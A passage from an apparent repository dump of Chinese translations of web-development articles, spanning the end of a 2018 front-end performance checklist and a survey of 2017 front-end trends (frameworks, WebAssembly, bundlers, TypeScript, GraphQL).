以应对未来是一个好的想法。只要确保在网络上提供双栈支持，就可以让 IPv6 和 IPv4 同时运行。毕竟，IPv6 不是向后兼容的。[研究显示](https://www.cloudflare.com/ipv6/)，多亏了“邻居”发现（NDP）和路由优化，IPv6 使得这些网站快了 10% 到 15%。\n\n39. **使用了 HPACK 压缩吗？**\n\n如果你使用 HTTP/2，请再次检查，确保您的服务针对 HTTP 响应头部[实现 HPACK 压缩](https://blog.cloudflare.com/hpack-the-silent-killer-feature-of-http-2/)以减少不必要的开销。由于 HTTP/2 服务相对较新，它们可能不完全支持该规范，HPACK 就是一个例子。可以使用 [H2spec](https://github.com/summerwind/h2spec) 这个伟大的（如果技术上很详细）工具来检查。[HPACK作品](https://www.keycdn.com/blog/http2-hpack-compression/)。\n\n![h2spec](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/efc02119-9155-4126-b7b9-bc83c4b16436/h2spec-example-750w-opt.png)\n\nH2spec ([View large version](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/15891f86-c883-434a-8517-209273356ee6/h2spec-example-large-opt.png)) ([Image source](https://github.com/summerwind/h2spec))\n\nH2spec ([超大图](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/15891f86-c883-434a-8517-209273356ee6/h2spec-example-large-opt.png)) ([图片来源](https://github.com/summerwind/h2spec))\n\n40. **确保你的服务安全性是“防弹”的**\n\n所有实现了 HTTP/2 的浏览器都在 TLS 上运行，因此您可能希望避免安全警告或页面上的某些元素不起作用。仔细检查你的[安全头部被正确设置](https://securityheaders.io/)，[消除已知的漏洞](https://www.smashingmagazine.com/2016/01/eliminating-known-security-vulnerabilities-with-snyk/)，[检查你的证书](https://www.ssllabs.com/ssltest/)。同时，确保所有外部插件和跟踪脚本通过 HTTPS 加载，不允许跨站点脚本，[HTTP 严格传输安全头](https://www.owasp.org/index.php/HTTP_Strict_Transport_Security_Cheat_Sheet)和[内容安全策略头](https://content-security-policy.com/)是正确的设置。\n\n41. **是否使用了 service workers 来缓存以及用作网络回退？**\n\n没有什么网络性能优化能快过用户机器上的本地缓存。如果你的网站运行在 HTTPS 上，使用 “[Service Workers 的实用指南](https://github.com/lyzadanger/pragmatist-service-worker)” 在一个 service worker 中缓存静态资源并存储离线回退（甚至脱机页面）并从用户的机器中检索它们，而不是访问网络。同时，参考\nJake 的 [Offline Cookbook](https://jakearchibald.com/2014/offline-cookbook/) 和 Udacity 免费课程“[离线 Web 应用程序](https://www.udacity.com/course/offline-web-applications--ud899)”。浏览器支持？如上所述，它得到了[广泛支持](http://caniuse.com/#search=serviceworker) （Chrome、Firefox、Safari TP、Samsung Internet、Edge 17+），但不管怎么说，它都是网络。它有助于提高性能吗？[是的，它确实做到了](https://developers.google.com/web/showcase/2016/service-worker-perf)。\n\n### 测试和监控\n\n42. **你是否在代理浏览器和旧版浏览器中测试过？**\n\n在 Chrome 和 Firefox 中进行测试是不够的。看看你的网站在代理浏览器和旧版浏览器中是如何工作的。例如，UC 浏览器和 Opera Mini，[在亚洲有大量的市场份额](http://gs.statcounter.com/#mobile_browser-as-monthly-201511-201611) （达到 35%）。在你感兴趣的国家[测量平均网络速度](https://www.webworldwide.io/)从而避免在未来发现“大惊喜”。测试网络节流，并仿真一个高 DPI 设备。[BrowserStack](https://www.browserstack.com) 很不错，但也要在实际设备上测试。\n\n[![](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/96fa3207-4fff-4b7b-bfa0-c115062d826a/demo-unit-perf-tests.gif)](https://github.com/loadimpact/k6)\n\n[k6](https://github.com/loadimpact/k6) 可以让你像写单元测试一样编写性能测试用例。\n\n43. **是否启用了持续监控？**\n\n有一个[WebPagetest](http://www.webpagetest.org/)私人的实例总是有利于快速和无限的测试。但是，一个带有自动警报的连续监视工具将会给您提供更详细的性能描述。设置您自己的用户计时标记来度量和监视特定的业务指标。同时，考虑添加[自动化性能回归警报](https://calendar.perfplanet.com/2017/automating-web-performance-regression-alerts/)来监控随着时间而发生的变化。\n\n使用 RUM 解决方案来监视性能随时间的变化。对于自动化的类单元测试的负载测试工具，您可以使用 [k6](https://github.com/loadimpact/k6) 脚本 API。此外，可以了解下 [SpeedTracker](https://speedtracker.org)、[Lighthouse](https://github.com/GoogleChrome/lighthouse) 和 [Calibre](https://calibreapp.com)。\n\n### 速效方案\n\n这个列表非常全面，完成所有的优化可能需要很长时间。所以，如果你只有一个小时的时间来进行重大的改进，你会怎么做？让我们把这一切归结为**10个低挂的水果**。显然，在你开始之前和完成之后，测量结果，包括开始渲染时间以及在 3G 和电缆连接下的速度指数。\n\n1. 测量实际环境的体验并设定适当的目标。一个好的目标是：第一次有意义的绘制 < 1 s，速度指数 < 1250，在慢速的 3G 网络上的交互 < 5s，对于重复访问，TTI < 2s。优化渲染开始时间和交互时间。\n\n2. 为您的主模板准备关键的 CSS，并将其包含在页面的 `<head>` 中。（你的预算是 14 KB）。对于 CSS/JS，文件大小[不超过 170 KB gzipped](https://infrequently.org/2017/10/can-you-afford-it-real-world-web-performance-budgets/)（解压后 0.8-1 MB）。\n\n3. 延迟加载尽可能多的脚本，包括您自己的和第三方的脚本——特别是社交媒体按钮、视频播放器和耗时的 JavaScript 脚本。\n\n4. 添加资源提示，使用 `dns-lookup`、`preconnect`、`prefetch` 和 `preload` 加速传输。\n\n5. 分离 web 字体，并以异步方式加载它们（或切换到系统字体）。\n\n6. 优化图像，并在重要页面（例如登录页面）中考虑使用 WebP。\n\n7. 检查 HTTP 缓存头和安全头是否设置正确。\n\n8. 在服务器上启用 Brotli 或 Zopfli 压缩。（如果做不到，不要忘记启用 Gzip 压缩。）\n\n9. 如果 HTTP/2 可用，启用 HPACK 压缩并开启混合内容警告监控。如果您正在运行 LTS，也可以启用 OCSP stapling。\n\n10. 在 service worker 缓存中尽可能多的缓存资产，如字体、样式、JavaScript 和图像。\n\n### 清单下载（PDF, Apple Pages）\n\n记住了这个清单，您就已经为任何类型的前端性能项目做好了准备。请随意下载该清单的打印版PDF，以及一个**可编辑的苹果页面文档**，以定制您需要的清单：\n\n* [Download the checklist PDF](https://www.dropbox.com/s/8h9lo8ee65oo9y1/front-end-performance-checklist-2018.pdf?dl=0) (PDF, 0.129 MB)\n* [Download the checklist in Apple Pages](https://www.dropbox.com/s/yjedzbyj32gzd9g/performance-checklist-1.1.pages?dl=0) (.pages, 0.236 MB)\n\n如果你需要其他选择，你也可以参考 [Rublic 的前端清单](https://github.com/drublic/checklist)和 Jon Yablonski 的“[设计师的 Web 性能清单](http://jonyablonski.com/designers-wpo-checklist/)”。\n\n### 动身吧\n\n一些优化可能超出了您的工作或预算范围，或者由于需要处理遗留代码而显得过度滥用。没问题！使用这个清单作为一个通用（并且希望是全面的）指南，并创建适用于你的环境的你自己的问题清单。但最重要的是，测试和权衡您自己的项目，以在优化前确定问题。祝大家 2018 年的性能大涨！\n\n**非常感谢 Guy Podjarny, Yoav Weiss, Addy Osmani, Artem Denysov, Denys Mishunov, Ilya Pukhalski, Jeremy Wagner, Colin Bendell, Mark Zeman, Patrick Meenan, Leonardo Losoviz, Andy Davies, Rachel Andrew, Anselm Hannemann, Patrick Hamann, Andy Davies, Tim Kadlec, Rey Bango, Matthias Ott, Mariana Peralta, Philipp Tellis, Ryan Townsend, Mohamed Hussain S H, Jacob Groß, Tim Swalling, Bob Visser, Kev Adamson, Aleksey Kulikov and Rodney Rehm 对这篇文章的校对，同样也感谢我们出色的社区，分享了他们在性能优化工作中学习到的技术和经验，供大家使用。你们真正的非常了不起！\n**\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/frontend-in-2017-the-important-parts.md",
    "content": "> * 原文地址：[Frontend in 2017: The important parts](https://blog.logrocket.com/frontend-in-2017-the-important-parts-4548d085977f)\n> * 原文作者：[Kaelan Cooter](https://blog.logrocket.com/@eranimo?asource=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/frontend-in-2017-the-important-parts.md](https://github.com/xitu/gold-miner/blob/master/TODO/frontend-in-2017-the-important-parts.md)\n> * 译者：[gy134340](https://github.com/gy134340)\n> * 校对者：[tvChan](https://github.com/tvChan), [zhouzihanntu](https://github.com/zhouzihanntu)\n\n# **前端 2017: 举要删\b芜**\n\n![](https://cdn-images-1.medium.com/max/1000/1*kTjbJH9x_nfRNgBduM3Oqg.png)\n\n2017 \b年发生了\b很多事，想起来，嗯，确实有点多。我们都喜欢拿前端开发领域的变化之快开玩笑，而在过去几年中事实也确实如此。\n\n尽管听起来可能会有些陈词滥调，今天我想说事情不一样了。\n\n前端趋于稳定 —— 流行的库基本上已经得到了大众化而不是被竞争者抢去风头 —— 同时 web 开发变的很棒了。\n\n\b这篇文章，我将着眼于大的趋势来总结今年前端生态中发生的一些重要事件。\n\n#### **统计数据**\n\n很难说什么是下一件大事什么时候到来，特别是你还在上一件\b\b大事之中时。获取开源工具正确的数据很难，通常情况下我们看下面几个地方：\n\n* **GitHub star 数量** 跟流行库趋势有一丢丢关联，但人们通常只\b是给那些有趣的项目\b star 然后再也不会来了。\n* **Google 趋势** 可以帮助我们粗糙的看到流行趋势，但是不能提供足够的数据来与一些特定的工具集做对比。\n* **Stack Overflow 问题数量** 更多的只是可以看出人们对这一项技术的问题而不是这个东西的\b流行度。\n* **NPM 下载量** 是\b人们下载这些库最精确的统计数据，即使这些也不是 100% 准确的，因为包括了一些\b可能的持续集成的自动下载数据。\n* **一些调查** 比如 [2017 年 JavaScript 的发展](https://stateofjs.com/) \b是基于大量样本（ 20,000 个开发者）的调查，这对看出趋势很有用。\n\n\n### 框架\n\n#### React\n\n[React 16](https://reactjs.org/blog/2017/09/26/react-v16.0.html) 在 9 月发布，带来一个完全重写的核心架构，同时没有任何重大 API 的变化。这个新版本提供了改进的错误处理机制 [error boundaries](https://reactjs.org/blog/2017/07/26/error-handling-in-react-16.html)，以及支持将渲染树的一个子部分渲染到另一个 DOM 节点上。\n\n React 团队重写核心库是为了将来更好的支持异步，这是现在的版本做不到的。异步渲染下，React 在渲染大型应用时将\b不会阻塞主线程。这一计划\b是为了在未来的 React 16 的小版本\b提供\b这一可选功能，所以你可以在 2018 前期待一下这个功能。\n\nReact 在前段时间关于 BSD 协议的争论后 [切换到了 MIT 协议](https://code.facebook.com/posts/300798627056246/relicensing-react-jest-flow-and-immutable-js/)。由于先前条款的太多限制，导致了很多团队考虑切换一个备选的 JavaScript 视图框架。然而，一直有争论这个是 [无依据的](https://blog.cloudboost.io/3-points-to-consider-before-migrating-away-from-react-because-of-facebooks-bsd-patent-license-b4a32562d268), 同时新的专利协议让 React 的用户受到了更少的保护。\n\n#### Angular\n\n在各种 beta 版本发布之后和候选版本中，Angular 4 于三月发布了。这个版本的关键特性是预编译 —— 在 build 时编译而不是 render 时编译。这意味着 Angular 应用程序不再需要为应用程序视图提供编译器 ，从而大大减少了包的大小。此版本还改进了对服务器端渲染的支持，并为 Angular 模板语言增加了许多小的“生活质量”改进。\n\n在 2017 年，相对 React 来说，Angular 持续丢失份额。虽然 Angular 4 是一个流行的版本，它还是离年初时的高点很远。\n\n![](https://cdn-images-1.medium.com/max/800/0*EElb5vgfVEQaMzL3.)\n\nAngular、React 和 Vue 的 NPM 下载量\n\n来源: npmtrends.com\n\n#### Vue.js\n\n对 Vue 来说，2017年是伟大的一年，使得它作为一个前端视图层的框架与 React 和 Angular 并列。它因为简单的 API 和全套的企业解决方案而流行。由于采取类似 Angular 的模版语言和类似 React 的组件化思想，它常作为这两者之间的折中方案。\n\nVue 在过去一年里爆炸式的增长。\b同时产生了数量相当多的 [流行组件库](https://github.com/vuejs/awesome-vue#components--libraries) 和模版项目。\n\n大量的公司也开始采用 Vue —— Vue — Expedia, Nintendo, GitLab [包括很多其他项目](https://madewithvuejs.com/)。\n\n在年初，Vue 有 37k GitHub star 和 npm 上每周 52k 的\b下载量。到 12 月中旬时，它已经有了 76k 的 star 和每周 266k 的下载量，分别是以前的两倍和五倍。\n\n这对比 React 仍然很苍白，根据 NPM 的数据 React 有每周 1600k 的下载量。可以期待 Vue 的\b继续高速\b成长，2018 也许\b它会成为最顶级的两个框架之一。\n\n**总结：** \bReact 目前领先，但是 Angular 仍在\b\b追赶。同时，Vue 可以感受到人气的飙升。\n\n### ECMAScript\n\n在全面的[提议流程](https://github.com/tc39/ecma262)完成之后，JavaScript 的 2017 ECMAScript 标准在 6 月发布，包含一些\b开创性的特性，比如说异步函数，共享内存和原子操作。\n\n异步函数可以让我们写简洁清晰的异步代码，它们\b现在被所有浏览器[支持](https://caniuse.com/#search=async%20fun)，在升级到 V8 5.5 之后，NodeJS 在 v7.6.0 中增加了对它们的支持，在 2016 年末发布同时带来了\b重要的性能和\b内存优化。\n\n[共享内存和原子操作](http://2ality.com/2017/01/shared-array-buffer.html)是一个非常重要的特性，但还没有引起足够的重视。共享内存由 `SharedArrayBuffer` 构造实现，允许 web workers 在内存中访问数组中相同的 bytes。 Workers (和主线程) 使用 `Atomics` 提供的原子操作方法在不同执行上下文中安\b全的访问内存。`SharedArrayBuffer` 提供相比较 message 一种相对于对象的传递更快的\b通讯方法。\n\n采用共享内存在将来将非常重要，对 JavaScript 应用和游戏贴近原生的性能意味着 web 平台将变得及其有\b竞争力。应用在浏览器中可以变的更加复杂\b和做更多\b昂贵的操作，同时不需要牺牲性能或者把任务放在后端。一个\b真实的共享内存的并行架构对用 WebGL 和 web workers 来开发游戏的人是非常棒的优势。\n\n截至2017年12月，所有主流浏览器都支持这一特性，同时 Edge 在 v16 之后开始支持，Node 不支持 web workers，\b所以没有计划支持共享内存。但是，它们在\b[重新考虑对 worker 的支持](https://github.com/nodejs/node/issues/13143)，所以还是有可能在将来找到把\b这一特性放在 Node 中的方式\b。\n\n**总结：** \b共享内存\b让\b JavaScript 的并行计算更加简单和高效。\n\n### WebAssembly\n\nWebAssembly (或者 WASM) 提供一种用其他语言编写然后编译成可以在浏览器中\b执行的方法。这种偏底层的类汇编的语言\b设计出来用来获取接近原生的性能。JavaScript 现在可以\b通过新的 API 加载 WebAssembly 的模块。\n\n这个 API 还提供一个可以让 JavaScript \b用 WebAssembly 模块实例，直接读取和操作内存的[内存构造函数](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_objects/WebAssembly/Memory), \b可以\b和 JavaScript 应用高度整合。\n\n[所有主流浏览器](https://caniuse.com/#feat=wasm)现在都支持 WebAssembly，\bChrome 在五月，Firefox 在三月，Edge 在十月。Safari 在第 11 个版本，和 MacOS High Sierra 一同发布，使用原版本的现在可以获取更新。Chrome 安卓版以及 Safari 移动端现在都\b支持 WebAssembly。\n\n你可以使用 [emscripten](http://kripken.github.io/emscripten-site/index.html) 编译器将 C/C++ 代码编译成 WebAssembly，[Rust](https://developer.mozilla.org/en-US/docs/WebAssembly/C_to_wasm) 和 [OCaml](https://github.com/sebmarkbage/ocamlrun-wasm) 也可以。同时还有很多种方法\b将 JavaScript（或者其他类似的）编译成 WebAssembly。比如说，[Speedy.js](https://github.com/MichaReiser/speedy.js) 和[AssemblyScript](https://github.com/AssemblyScript/prototype)使用 \bTypeScript 来检测类型，但是添加了\b低级的类型和基础的内存管理。\n\n这些项目暂时都还没有\b在生产环境\b，同时他们的 API 经常变化。有了把 JS 编译成 WebAssembly 的[愿望](https://github.com/WebAssembly/design/issues/219)，人们可以预知这些项目可以 在 WebAssembly 的流行\b中获取动力。\n\n同时已经有[很多有趣的 WebAssembly 项目](https://github.com/mbasso/awesome-wasm)。有一个针对 C++ 的 [虚拟 DOM 实现](https://github.com/mbasso/asm-dom)，允许\b用 C++ 创建整个前端应用。如果你的项目使用 Webpack，\b有一个 [wasm-loader](https://github.com/ballercat/wasm-loader) 就不需要手动的操作 fetch，直接解释 `.wasm` 类型的文件。[WABT](https://github.com/WebAssembly/wabt) 提供了一堆将二进制和 WASM 二进制的文本格式，\b打印信息之间转换的工具，以及 merge `.wasm` 文件。\n\n预计 WebAssembly 将在未来一年变得更加流行，因为更多的工具已经开发出来，JavaScript社区也在意识到它的可能性。它现在还在 “试验” 阶段，浏览器也刚开始支持。它将成为\b优化 CPU 密集\b型任务和图像及 3D 处理的好工具。最终，随着它的成熟，我推测会在日常应用中获得更多的使用案例。\n\n**总结：** WebAssembly 最终会改变一切，但它现在还很新。\n\n### 包管理工具\n\n2017 年 JavaScript 包管理工具也发生了巨变，Bower 持续衰落，被 NPM 替代。它最后的版本是 2016 年 9 月，它的管理者现在[官方建议](https://github.com/bower/bower/pull/2458)用户在前端项目里使用 NPM。\n\nYarn 在 2016 \b年 10 月发布给 \bJavaScript 包管理带来\b革新。虽然它使用 NPM 相同的包\b仓库，Yarn 提供了更快的依赖下载，安装速度和更友好的 API。\n\nYarn 的 lock 文件可以确保每次重新 build 后的文件在不同机器上总是一致的，\b同时离线模式即在用户不联网情况下重新安装包。因为它的受欢迎程度大大增加\b，成千上万的项目开始使用它。\n\n![](https://cdn-images-1.medium.com/max/800/0*nn0TySEdCgPs-G0x.)\n\n_GitHub  Yarn (紫) 和 NPM (棕)._ 来源: GitHub Star 历史\n\nNPM \b作为反击\b，带来了巨大性能改变和 API 彻底调整的 v5 版本。同时 Yarn 宣布了 [Yarn Workspaces](https://yarnpkg.com/blog/2017/08/02/introducing-workspaces/), 允许跟 [Lerna](https://github.com/lerna/lerna) 类似的\b高级 \bmonorepo 支持。\n\n还有更多除 Yarn 和 NPM 之外的 NPM 客户端，比如另一个流行的 [PNPM](https://github.com/pnpm/pnpm)，宣称它是 “更快，更节省存储的包管理工具”，不同于 Yarn 和 NPM，它保留对所有安装包的全局缓存，同时向你的软件包的 node_modules 文件中添加这些符号链接。\n\n**总结：** NPM 针对 Yarn 的流行迅速的调整自己，他们都很棒。\n\n### 样式表\n\n#### 最近的更新\n\n在过去的几年里 CSS 预处理器比如 SASS, Less 和 Stylus 变得很流行，在 2014 年发布的 [PostCSS] (https://github.com/postcss/postcss) \b在 2017 真正的爆发，成为最流行的 \bCSS 预处理器。不同于其它预处理器，PostCSS 采用与 Babel 类似的插件模块的方法。在转换样式表之外它还提供 linter 和其他工具。\n\n\n![](https://cdn-images-1.medium.com/max/800/0*YPde_bP7PQlyGuxs.)\n\n2017 NPM PostCSS, SASS, Stylus, 和 Less 下载量\n\n来源: NPM 统计数据，2017 年 12 月 15 日\n\n还有一些基于组件开发时使用 CSS 的底层问题需要解决。特别是，全局命名空间让单个组件的分离样式开发很困难。让 \bCSS 文件在另一个文件而不是在组件代码里意味着占用更多空间同时在开发中需要引用两个文件。\n\n[CSS 模块化](https://github.com/css-modules/css-modules) 通过添加\b组件单独的命名空间来分离组件和通用的样式，这可以用不同的类名来为\b每个\b\b类来实现。在\b类似 Webpack 的构造系统中，这已经成为普遍采用的可行的方法，用[css-loader](https://github.com/webpack-contrib/css-loader) 来支持模块化。PostCSS 有一个支持同样功能的 [插件](https://github.com/css-modules/postcss-modules)。但是\b这种方法还是把 CSS 文件放在组件代码之外。\n\n#### 其他解决办法\n\n“CSS in JS” 是一个在 2014 年\b末由一个 Facebook 的 React 开发团队者 Christopher 在 [一个著名的演讲](https://speakerdeck.com/vjeux/react-css-in-js) 提出，同时衍生出一些更易创建组件化样式的有影响的库。目前最流行的解决方法是使用 ES6 [tagged template literals](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals) 来从 \bCSS 字符串中创建组件的 [styled-components](https://github.com/styled-components/styled-components) 库。\n\n另一个流行的方法是 [Aphrodite](https://github.com/Khan/aphrodite)，使用 JavaScript 对象字面量创建与框架无关的内联样式。在 [JavaScript 2017\b] 调查中，34% 的开发者\b声称他们使用过 CSS-in-JS。\n\n**总结：** PostCSS 是首选的 CSS 预处理器，但是很多人转向 CSS-in-JS 的方法\n\n### 打包工具\n\n#### Webpack\n\n2017年 Webpack 巩固其领先于前一代 JavaScript 打包工具的地位：\n\n\n![](https://cdn-images-1.medium.com/max/800/0*93D2VJU6CrNg6QLv.)\n\nNPM 上 Webpack， Gulp， Browserify， Grunt 的下载量\n\n来源: npmtrends.com\n\nWebpack 2 在今年二月发布，它带来比如 ES6 模块化（不在需要 Babel 转换 import 语句了）和 tree shaking（删除无用的代码）这样的重要特性，V3 不久后\b也发布了，带来一个 “scope hoisting” 的特性，\b可以把所有的 webpack 模块打包成一个文件，极大的减少了文件体积。\n\n在 6 月，webpack 团队[接到](https://medium.com/webpack/webpack-awarded-125-000-from-moss-program-f63eeaaf4e15) Mozilla 开源\b组的\b授权去开发 WebAssembly 的高级支持。这一计划最终目的是让 WebAssembly 和 JavaScript 打包工具可以深度整合。\n\n在打包领域还有一些与 \bWebpack 无关的\b的创新空间，它在流行的同时，\b开发者也在抱怨配置使用它的困难\b和\b对于大型项目优化所需要的一堆插件。\n\n#### Parcel\n\n[Parcel](https://github.com/parcel-bundler/parcel) 是一个有趣的项目，在 12 月上旬引起关注（只用 10 天收获 10000 star）。宣称自己速度极快，同时零配置。它通过利用\b CPU 的多核心和高效的文件缓存达到目的。它操作抽象语法树\b而不是像 Webpack 的字符串。像 Webpack 一样，Parcel \b也打包非 JavaScript 的资源文件，像图片和样式表文件。\n\n这个模块工具展示了一个 JavaScript 社区通常的模式：不停的在开箱即用（集中）与配置一切（分散）之间切换。\n\n我们从 Angular 到 React/Redux，SASS 到 PostCSS 的转变中可以看出这一点。Webpack 与在它之前出现的各种打包及任务处理工具一样，都是使用许多插件来进行分散配置的解决方案。\n\n\n事实上，Webpack 和 React 在 2017 因为几乎一样的原因受到抱怨，人们期待开箱即用的解决方案，这很重要。\n\n#### Rollup\n\n在 2016 年发布 Webpack 2 之前，Rollup 引起了大家广泛的关注，引入了一个叫做 tree shaking 的流行功能，这是一种移除不用的代码的有趣方法。 Webpack 在第二个版本中为 Rollup 的签名功能提供了[支持](https://webpack.js.org/guides/tree-shaking/)这个来回应 Rollup 的签名特性。Rollup 跟 Webpack 相比[不同的打包方式](https://stackoverflow.com/questions/43219030/what-is-flat-bundling-and-why-is-rollup-better-at-this-than-webpack)，让总的打包体积更小，同时也不能[支持](https://github.com/rollup/rollup/issues/372)代码分割这一重要的特性了。\n\n在 4 月 React 的团队\b从 Gulp \b[切换](https://github.com/facebook/react/pull/9327) 到 Rollup, 很多人问为什么选择 Rollup 而不是 Webpack。Webpack 回应称[推荐](https://medium.com/webpack/webpack-and-rollup-the-same-but-different-a41ad427058c) Rollup 作为库的开发工具而 Webpack 作为应用的开发方式这篇文章来解决大家的疑惑。\n\n\n**总结：** Webpack 仍是最流行的打包工具，但也许不会\b永远是这样。\n\n### TypeScript\n\n在 2017 [Flow](https://github.com/facebook/flow) \b相对于 [TypeScript](https://github.com/Microsoft/TypeScript) 来说丢失了大量的份额：\n\n![](https://cdn-images-1.medium.com/max/800/0*1WUQKu98izZcyQwf.)\n\nFlow 对比 TypeScript NPM 2017 下载量 2017 来源: NPM 趋势\n\n虽然这一趋势在持续了几年，但在 2017 年加快了步伐，TypeScript \b现在是 2017 Stack Overflow 开发者\b调查中\b[第三受喜欢的语言](https://insights.stackoverflow.com/survey/2017#technology)（Flow 并没有在这里提及）。\n\nTypeScript 胜利的原因包括：更好的工具（特别是 [Visual Studio Code](https://code.visualstudio.com/) 编辑器），lint 工具（[tslint](https://github.com/palantir/tslint) 变的超级流行），更大的社区，更多第三方类型库\b，更好的文档，和更简单的配置。最早 TypeScript 做为 Angular 项目的可选语言而逐渐流行，现在已经巩固了在整个社区的使用度。根据 [Google 趋势](https://trends.google.com/trends/explore?date=2015-12-15%202017-12-15&q=%2Fm%2F0n50hxv)，TypeScript \b今年\b流行度上升了\b一倍。\n\nTypeScript 采取[快速开发\b](https://github.com/Microsoft/TypeScript/wiki/Roadmap)的方式，这使得它可以不断微调类型系统来跟上 JavaScript 语言。它现在支持 ECMAScript 的 iterators, generators, 异步 generators，以及动态 import 特性。你现在可以根据 TypeScript 的类型接口和 JSDoc 注释来 [检查 JavaScript 的类型](https://www.typescriptlang.org/docs/handbook/type-checking-javascript-files.html)。 如果你使用 Visual Studio Code，TypeScript 现在在编辑器中支持出色的转换工具，允许重命名变量和自动导入包。\n\n**总结：** TypeScript 赢了 Flow。\n\n### 状态管理\n\nRedux 仍然是 React 项目的首选状态管理解决方案，在 2017 年整个 NPM 下载量增长了 5 倍：\n\n\n![](https://cdn-images-1.medium.com/max/800/0*dgXzSYQF9HFyVEvc.)\n\n2017 Redux 在 NPM 的下载量\n\n来源: NPM 趋势\n\nMobx 是 Redux 在客户端状态管理上有趣的竞争者，不像 Redux, MobX 使用\b\b可观察的状态对象和一个受 [响应式函数式编程](https://github.com/lucamezzalira/awesome-reactive-programming) 概念启发的 API。Redux 的不同之处在于被传统函数式编程影响和纯函数的支持， Redux 可以看作通过 action 和 reducer 手动管理状态的解决方案。Mobx 与之相反，是自动化的状态管理方案因为观察者模式在背后做了所有你需要做的。\n\nMobX 对你的数据结构，存储的数据类型，或者是不是可以序列化成 \bJSON 做了一些预设。这些因素使初学者非常容易使用 MobX。\n\n不像 Redux, MobX \b不是事务型和确定型的，这意味着 Mobx 不会自动获得 Redux 在调试和日志记录方面的所有优点。。\b你不能对整个 MobX 的状态做快照，意味着\b一些调试工具像 [LogRocket](https://logrocket.com/) 需要手动监测你的\b每个\b可观察对象。\n\n像美国银行、IBM 和 Lyft 这些知名公司已经在使用 Mobx 了。同时也有[社区中逐步发展的](https://github.com/mobxjs/awesome-mobx) 的插件，工具和教程。它增长迅速\b：从年初 \b50k 的 NPM 下载量到十月份 250k 的下载量。\n\n因为上述的\b限制，MobX 的团队将一直努力将 Redux 和 Mobx 在一个叫 [mobx-state-tree](https://github.com/mobxjs/mobx-state-tree) (或者 MST) 的\b项目中把它们结合起来。它本质上是一个状态容器，在后台使用 MobX 来提供一种方式来处理不可变数据，就像使用可变数据一样简单。根本上来说，你的状态还是可变的\b，但是你通过 _snapshot_ 同不可变的\b状态复本一起工作。\n\n已经由很多的开发者工具可以帮助你调试检查你的状态树——[Wiretap](https://wiretap.debuggable.io/) 和 [mobx-devtools](https://github.com/andykog/mobx-devtools) 是很好的选择。因为他们大致采取相同的方式工作，你\b甚至可以对 mobx-state-tree 使用 Redux 开发工具。\n\n**总结：** Redux 仍是王者，但是请看一下 MobX 和 mobx-state-tree\n\n### GraphQL\n\nGraphQL\b 是一个可以实时查询接口语言，因为数据源的原因提供更清晰简洁的语法。不像 REST, GraphQL 提供类型语法，允许 JavaScript 客户端只查询他们需要的数据，它可能是近些年来接口开发中最大的革新\b。\n\n虽然 GraphQL 语言标准从 [2016\b 年十月](http://facebook.github.io/graphql/October2016/) 就没有改变，\b但人们对它的兴趣与日俱增。在过去的\b几年里，Google 趋势发现对于 GraphQL 的搜索量 [4 倍的增长]，对 JavaScript [GraphQL 客户端](https://github.com/graphql/graphql-js) NPM 下载量有 [13 倍的增长]。\n\n当前有很多客户端和服务端实现可以选择，[Apollo](https://www.apollographql.com/) 是流行的选择之一，它添加全面的缓存控制和与 React 和 Vue \b流行库的\b整合。[MEAN](https://github.com/linnovate/mean) 是也是一个使用 GraphQL 作为 API 层流行的全栈开发框架。\n\n在过去的几年 [GraphQL 背后的社区](https://github.com/chentsulin/awesome-graphql) 也是极速发展。它创造了 20 多种语言的服务端\b实现方式，以及\b数以千计的教程和启动项目。有一个很好的 [awesome list](https://github.com/chentsulin/awesome-graphql)。\n\n[React-starter-kit](https://github.com/kriasoft/react-starter-kit)——最流行的使用 GraphQL 的 React 生态\b环境中的项目。\n\n**总结：** GraphQL 正在获得增长\b动力\n\n### 其他值得关注的\n\n#### NapaJS·\n\n微软\b新的基于 V8 之上的多线程 JavaScript 运行时库。[NapaJS](https://github.com/Microsoft/napajs) 提供了一种在 Node 环境运行多线程的方式，在现有\b Node 架构下更好的支持 CPU 密集型任务的\b执行。它提供\b了\b一种 Node  多任务模型的备选方案，用一个模块来实现\b。现在可以\b在 NPM 上像其他库那样下载了。\n\n\bNapa使用 [node-webworker-threads](https://github.com/audreyt/node-webworker-threads) 库来利用 Node 中的线程与底层语言\b结合，通过使用添加从工作线程内部使用 Node 模块系统的能力来无缝的融合 Node 生态链。它还提供了不同 workers 间通信的全面的接口，与\b新发布的共享内存标准非常类似。\n\n这个项目是微软为 Node 生态系统应用高性能架构所做的努力。它目前正在被 Bing 搜索引擎\b作为后端栈的一部分所使用。\n\n有了微软这样的大公司的支持，你可以对 Node 的长期稳定放心了。看 Node 社区跟随多线程可以走多远将会非常有趣。\n\n#### Prettier\n\n近些年来\b构建工具的重要性日益增长。随着 [Prettier](https://github.com/prettier/prettier) 的首次亮相，代码格式成为前端构建过程中常见的一环。它自称是一个严格代码的格式化工具，旨在通过解析和重写来增强始终如一的代码风格。\n\n\b当像 lint 工具比如 [ESLint](https://eslint.org/) 长时间成为 